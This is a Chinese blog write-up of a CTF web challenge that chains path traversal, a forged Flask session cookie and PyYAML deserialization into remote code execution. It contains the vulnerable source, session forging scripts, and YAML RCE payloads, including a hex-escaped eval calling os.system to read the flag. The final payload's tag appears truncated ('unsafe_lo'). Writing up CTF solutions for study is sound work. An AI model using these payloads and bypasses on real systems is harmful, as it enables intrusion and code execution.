网鼎杯初赛--web1

web1–yaml的反序列化

前言

7月底强网杯出了一道python的pickle反序列化,现在8月底网鼎杯又出了python的yaml反序列化,现在借此机会,自己再总结总结。当然自己在后面的时间里也要不断努力,学到更多的东西。

题目

基础看看这个:https://xz.aliyun.com/t/7923#toc-0

poc集合:https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/#%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF

考点:就是python的yaml的反序列化

wp:

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()


def response(content, status):
    resp = make_response(content, status)
    return resp


@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None


@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)


@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M | re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"

        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)

        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()
        seconds_passed = 0
        timeout = 60
        while True:
            if pStatus.poll() is not None:
                break
            seconds_passed = time.time() - t_beginning
            if timeout and seconds_passed > timeout:
                pStatus.terminate()
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}

        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
        # 将python对象转换为yaml对象
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')


@app.route('/display', methods=['GET'])
def display():
    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M | re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0],
                                           files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

首先第一步就是需要一个flasksession伪造,常规考点,需要获取secret_key,这个位置开始没有想法,最后发现这个路由下,只是对路径进行了替换,但是并没有过滤,所以就可以双写绕过

@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)

....//进行目录穿越,进行任意文件读取,看到secret_key需要远程环境的gethostname,这个太坑了,我读取/etc/hostname读取下来发现根本伪造不了,secret_key是错误的,最后才发现是读取/etc/hosts里面的,结果是engine-1

在这里插入图片描述
拿到secret_key,直接利用脚本进行flask的session伪造

解密脚本:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(b"eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.YwhSAg.BU69JzlzLcf9lZ4nXbgJu50cUDE"))

看到了session的格式,直接利用加密脚本进行伪造,我只取了核心部分

当然Github上的比较完整:https://github.com/noraj/flask-session-cookie-manager

import requests
import ast
from flask.sessions import SecureCookieSessionInterface

secret_key = 'engine-1'


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

def session_cookie_encode(secret_key, session_cookie_structure):
    try:
        app = MockApp(secret_key)
        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error]{}".format(e)


if __name__ == "__main__":
    payload = '''{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Administrator"}'''
    res = session_cookie_encode(secret_key,payload)
    print(res)
    #url = 'http://eci-2ze74l0esvdjrc6llom3.cloudeci1.ichunqiu.com:8888/'
    #requests.get(url=url)
    #files = {'file': open('2.txt', 'rb')}
    #r = requests.post(url=url + '/upload', files=files,cookies={'session': res})
    #print(r.text)

伪造成功,就可以直接进入upload路由,开始看后面的python代码逻辑

第一遍读完,我们的利用点就是后面那个yaml反序列化打RCE

先看upload路由

# 上传的一个目录下:
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"

# unrar解压下的一个目录,在该目录下会生成解压后的yaml文件
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"

# 打开一个yaml文件,然后直接写入我们不需要的一个yaml数据,而且是写入到fileinfo目录下
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
    f.write(yaml.dump(rarDatas))

display路由中

if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):

我们只要存在这样一个yaml文件,才能进行反序列化,但是上面upload路由下,rarDatas会写入需要的yaml。

相当于就是,我们现在只能反序列化一个rarDatas的python对象生成的一个yaml对象。

目标就是需要控制yaml文件的目录,同时这个yaml文件不被覆盖。下面是解决方法:

解决目录问题:我们将文件名前缀写成fileinfo的形式,就可以解压到fileinfo目录下

extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"

解决了目录问题,yaml文件会被覆盖,现在解决文件不被覆盖的问题:

我们先可以上传一个fileinfo.rar文件,这样在fileinfo目录下生成一个压缩包里的yaml文件,我们需要进入display路由的关键函数,所以在压缩包里放入一个yaml文件,文件名是fileinfo.rar的md5字符b07407f978cba7abbd036e545015c132.yaml

但是这样会在yaml.dump时被覆盖掉

所以进行第二次上传,我们将文件名改为fileinfo.rara,这样又可以覆盖掉fileinfob07407f978cba7abbd036e545015c132.yaml文件,然后因为md5(filename.encode()).hexdigest(),dump时也不会被覆盖。

最后就是我们直接访问/display?file=fileinfo.rar路由,就可以直接进入关键函数,当然也是load我们的恶意yaml文件

现在就是构造一个yaml反序列化

这篇文章的poc都被过滤了:https://xz.aliyun.com/t/7923#toc-5

找到了这个:https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1

# The `extend` function is overriden to run `yaml.unsafe_load` with 
# custom `listitems` argument, in this case a simple curl request

- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

这篇也有另一种payload:https://hackmd.io/@harrier/uiuctf20#uiuctf-2020

subprocess.Popen被过滤了,apply换成new,我们可以用eval或者exec

然后绕过正则表达式,我们更改_\x5f.绕过\x2e正则这种

所以构造payload:

因为RCE发现需要提权,find一下有高权限dd命令,利用dd命令读flag

byte_var = b"__import__('os').system('dd if=/flag of=/tmp/flag.txt > /tmp/c.txt')"
for i in byte_var:
    i = hex(i)
    i = i.replace("0", "\\",1)
    print(i,end="")

然后放入yaml文件

dirs:['']
filename:z3eyond
files:
- !!python/object/new:yaml.MappingNode
  listitems: !!str "!!python/object/new:eval  [\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x64\x20\x69\x66\x3d\x
2f\x66\x6c\x61\x67\x20\x6f\x66\x3d\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x63\x2e
\x74\x78\x74\x27\x29]"
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_lo

最后传上去访问/display?file=fileinfo.rar

然后目录穿越读tmp下的flag文件

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值